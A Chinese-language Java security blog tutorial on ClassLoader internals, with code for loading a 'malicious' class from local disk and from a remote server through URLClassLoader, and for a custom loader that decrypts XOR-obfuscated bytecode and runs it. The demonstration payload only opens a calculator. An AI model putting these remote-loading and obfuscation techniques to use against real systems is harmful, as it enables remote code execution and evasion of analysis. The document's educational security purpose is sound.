java安全之ClassLoader


0x00 前言

通过上一文的流程图我们可以知道,一切Java类在编译后都必须经过JVM加载才能运行,用来加载类的类就是类加载器(ClassLoader),也就是forName第二个重载方式中所要填写的第三个参数,类加载器负责将class字节码转换成内存的class类,除了系统自定义的三类加载器外,java允许用户编写自定义加载器来完成类的加载过程。java安全中常常需要远程加载恶意类文件来完成漏洞的利用,所以学习类加载器的编写也是很重要的。

注:本文只是从安全角度去理解类加载器,并不涉及过深入的内容,如果想了解更加深入的内容,请移步至这本书:《深入理解java虚拟机》

0x01 系统自定义加载器

首先说一下系统自定义的三个类加载器,分别是引导类加载器(BootstrapClassLoader)、扩展类加载器(ExtensionsClassLoader)、App类加载器/系统类加载器(AppClassLoader)

  1. BootstrapClassLoader 负责加载 JVM 运行时核心类以及JVM本身,这些核心类位于 JAVA_HOME/lib/rt.jar 文件中,我们常用内置库 java.xxx.* 都在里面,比如 java.util.*java.io.*java.nio.*java.lang.* 等等。这个 类加载器 比较特殊,它是由 C 代码实现的,我们将它称之为「根加载器」。
  2. ExtensionClassLoader 负责加载 JVM 扩展类,比如 swing 系列、内置的 js 引擎、xml 解析器 等等,这些库名通常以 javax 开头,它们的 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,有很多 jar 包。
  3. AppClassLoader 才是直接面向我们用户的加载器,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录。我们自己编写的代码以及使用的第三方 jar 包通常都是由它来加载的。

正是通过这三个类加载器互相配合,完成了类的加载,当然加载过程十分复杂,还涉及到比较重要的“双亲委派”机制,由于本文就是初步了解,就不深入理解底层原理了。

我们需要掌握的是接下来的用户自定义的类加载器,可以通过继承java.lang.ClassLoader类的方式编写属于自己的类加载器。

0x02 java.lang.ClassLoader类中的核心方法

在提及用户自定义类加载器之前,我们先来研究研究这个比较关键的类,ClassLoader类, 后文写的类都要继承自它并且调用它里面的成员方法。

rt.jar包下的java.lang包下我们可以找到ClassLoader这个类的源码文件,下面我们将研究它的几个重要方法:

loadClass(String, boolean)

该方法是核心方法,也是最常用的,用来加载指定的类,返回结果是一个class对象。源码如下:

protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

其中的parent为ClassLoader类的一个成员属性,而非子父类继承关系。

在loadClass()方法中,它先使用了另外一个成员方法findLoadedClass(String)检查传入的这个类是否被加载过,如果已经被加载过,就不过任何操作,直接返回这个加载过的类的class对象;如果没被加载过,接着使用父加载器调用loadClass(String)方法,尝试通过父加载器加载指定类,若所有的父加载器都尝试失败后(即最终返回的值为null),交由当前ClassLoader重写的findClass方法去加载。

最后通过上述步骤找到对应的类,如果传入的resolve参数值为true,那么就会调用另外一个成员方法resolveClass(Class)方法来处理类。

findClass(String)

查找指定java类,返回值为一个Class对象。

protected Class<?> findClass(String name) throws ClassNotFoundException {
    throw new ClassNotFoundException(name);
}

该方法是交由子类来修改覆盖的。

findLoadedClass(String)

前面已经说过,用来查找jvm当前是否已经加载过该类

    protected final Class<?> findLoadedClass(String name) {
        if (!checkName(name))
            return null;
        return findLoadedClass0(name);
    }
    private native final Class<?> findLoadedClass0(String name);

defineClass

用来定义一个java类,将字节码解析成jvm识别的Class对象。往往和findClass()方法配合使用。

    @Deprecated
    protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    {
        return defineClass(null, b, off, len, null);
    }

resolveClass

链接指定Java类

   protected final void resolveClass(Class<?> c) {
        resolveClass0(c);
    }

    private native void resolveClass0(Class<?> c);

0x03 URLClassLoader

上面的系统自定义加载器类只可以满足加载java自身自带的一些类,但很多情况下我们需要的是能够加载本地磁盘或者网络外部的一些自己构造好的类。URLClassLoader满足了我们这一需求。

URLClassLoader是系统自带的继承自ClassLoader类的的类,它在ClassLoader基础上扩展了一些功能,看名字就知道它的功能与URL有关,它可以加载本地磁盘和网络中的jar包里的类文件。

加载本地磁盘中的外部类

我们在本地编写一个恶意类,其中构造函数中写入执行命令的操作,这里还是以打开计算器为例演示:

package com.Anchor;


public class Evil {
    public Evil() {
        System.out.println("Loading the evilClass...");
        try {
            Runtime.getRuntime().exec("cmd /c calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以通过javac将其编译为class文件,idea里可以直接选择“构建”中的“重新编译”来编译java文件生成class文件

idea中编译java文件

此时在项目文件夹相应目录下会生成class文件

生成的evil.class文件

在main函数中我们构造将该恶意类的文件路径构造成一个URL的实例,传入到URLClassLoader中,从而使程序可以加载恶意类,并进行实例化从而触发恶意类的构造函数,具体细节可以看注释:

package com.Anchor;

import java.io.File;
import java.net.URI;
import java.net.URLClassLoader;
import java.net.URL;

public class Main {

    public static void main(String[] args) throws Exception {
        File file = new File("G:\\javaSecurity\\javaSec\\out\\production\\javaSec\\"); //使用File获取文件路径
        URI uri = file.toURI(); //将得到的文件对象转为URI对象
        URL url = uri.toURL(); //将得到的URI对象转为URL对象
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); //通过得到的URL对象创建一个URLClassLoader实例。
        Class clazz = classLoader.loadClass("com.Anchor.Evil");  //利用该加载器加载URL路径对应的那个恶意类的Class对象
        clazz.newInstance(); //调用该对象的实例化方法,从而触发恶意类的构造函数。
    }
}

运行后成功弹出计算器:

成功弹出计算器

加载远程中的外部类

更多的场景下,我们会将恶意类放到自己远程vps中并开启web服务,然后利用URLClassLoader加载这个远程的恶意类达到命令执行目的。

这里我就将上面Evil.java文件编译生成的Evil.class文件放到自己阿里服务器上,然后在相应目录下用python开启简易的http服务:

在远程服务器上开启http服务

将main函数改造如下:

package com.Anchor;

import java.net.URLClassLoader;
import java.net.URL;

public class Main {

    public static void main(String[] args) throws Exception {
        URL url = new URL("http://xx.xx.xx.xx:9999/");   //构造远程恶意class文件的URL对象
        URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); //通过得到的URL对象创建一个URLClassLoader实例。
        Class clazz = classLoader.loadClass("com.Anchor.Evil"); //利用该加载器加载URL路径对应的那个恶意类的Class对象
        clazz.newInstance();  //调用该对象的实例化方法,从而触发恶意类的构造函数。
    }
}

成功弹出计算器:

成功弹出计算器

0x04 自定义类加载器

除了利用URLClassLoader,我们可以自己继承java.lang.ClassLoader类来构造一个自定义的类加载器。

通过上面的ClassLoader中的源码分析,我们知道,虽然loadClass是一个加载类的核心方法,但是其内部在实现装载类操作的时后还是通过调用findClass方法来实现的,所以我们要想加载自己自定义的类,就需要覆盖这个findClass方法,而不是loadClass方法。

以下是如何构造一个自定义类加载器:

  1. 继承ClassLoader类
  2. 覆盖findClass方法
  3. 在findClass()方法中调用defineClass方法

下面就用一个加密java类字节码例子来演示(模仿的这个大佬的博客):

首先创建一个CypherTest.java文件,里面有main函数,实现弹出计算器的操作。然后和上文一样,将其编译,得到字节码文件CypherTest.class

package com.Anchor;

public class CypherTest {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("cmd /c calc.exe");
    }
}

生成的CypherTest文件

之后编写一个加密类Encryption,实现对CypherTest.class文件内容的逐位取反加密。

package com.Anchor;

import java.io.*;

public class Encryption {
    public static void main(String[] args) {
        encode(new File("G:\\javaSecurity\\javaSec\\out\\production\\javaSec\\com\\Anchor\\CypherTest.class"), // 获取路径CypherTest.class文件
                new File("G:\\javaSecurity\\javaSec\\out\\production\\javaSec\\temp\\com\\Anchor\\CypherTest.class")); // 为了保持一致,创建了一个空的temp目录
    }
    public static void encode(File src, File dest) {
        FileInputStream fis = null;
        FileOutputStream fos = null;
        try {
            fis = new FileInputStream(src);
            fos = new FileOutputStream(dest);
            // 逐位取反操作
            int temp = -1;
            while ((temp = fis.read()) != -1) {// 读取一个字节
                fos.write(temp ^ 0xff);// 取反输出
            }
        } catch (IOException e) {
            e.printStackTrace();
        } finally { // 关闭数据流
            if (fis != null) {
                try {
                    fis.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
                try {
                    fos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
        System.out.println("This experiment test is successful");
    }
}

运行后在temp的项目文件中生成了加密的CypherTest.class文件

加密后的CypherTest.class文件

因为是自定义的加密,我们无法使用工具直接进行反编译操作和直接使用jvm默认的类加载器去加载它。

这时候就需要自定义加载器来加载了,我们可以编写一个解密类,用它继承ClassLoader类,修改将CypherTest.class加载进来的方式

package com.Anchor;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class Decryption extends ClassLoader { // 继承ClassLoader类

    private String rootDir;

    public Decryption(String rootDir) {
        this.rootDir = rootDir;
    }

    @Override // 重写覆盖findClass
    protected Class<?> findClass(String className) throws ClassNotFoundException {
        Class<?> c = findLoadedClass(className);
        if (c != null) {
            return c;
        } else {
            ClassLoader parent = this.getParent();
            try {
                c = parent.loadClass(className);
            } catch (ClassNotFoundException e) {
                // System.out.println("父类无法加载你的class,抛出ClassNotFoundException,已捕获,继续运行");
            }
            if (c != null) {
                System.out.println("父类成功加载");
                return c;
            } else {// 读取文件 转化成字节数组
                byte[] classData = getClassData(className);
                if (classData == null) {
                    throw new ClassNotFoundException();
                } else { // 调用defineClass()方法
                    c = defineClass(className, classData, 0, classData.length);
                    return c;
                }
            }
        }
    }

    public byte[] getClassData(String className) {
        String path = rootDir + "/" + className.replace('.', '/') + ".class";
        // 将流中的数据转换为字节数组
        InputStream is = null;
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try {
            is = new FileInputStream(path);
            byte[] buffer = new byte[1024];
            int temp = -1;
            while ((temp = is.read()) != -1) {
                baos.write(temp ^ 0xff);
            }
            return baos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        } finally {
            if (is != null) {
                try {
                    is.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (baos != null) {
                try {
                    baos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

这里我们使用将Decryption继承ClassLoader类,之后覆盖findClass()方法,并且在findClass()方法中调用defineClass()方法使用,最后加载我们自定义的getClassData方法去进行解密操作。

最后我们编写测试的main函数,实例化我们自定义的Decryption得到一个加载器实例,然后用它来加载我们的CypherClass类,从而得到Class对象,通过java反射获取它main函数的Method实例,从而执行main函数。

package com.Anchor;

import java.lang.reflect.Method;

public class Main {

    public static void main(String[] args) throws Exception {
        Decryption dLoader = new Decryption("G:/javaSecurity/javaSec/out/production/javaSec/temp");
        Class<?> aClass = dLoader.loadClass("com.Anchor.CypherTest");
        Method main = aClass.getMethod("main", String[].class);
        main.invoke(null,(Object)new String[]{});
    }
}

运行该main函数,成功弹出计算器:

成功弹出计算器

0x05 小结

相比于类反射,类加载器这部分原理更接近与底层了,这篇只是写了个皮毛。不过最重要的内容还是学会如何编写一个自定义类加载器,这个是挺关键的。

参考文章:

JAVA安全基础(一)–类加载器(ClassLoader)

《深入理解java虚拟机》


文章作者: anch0r
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 anch0r !
  目录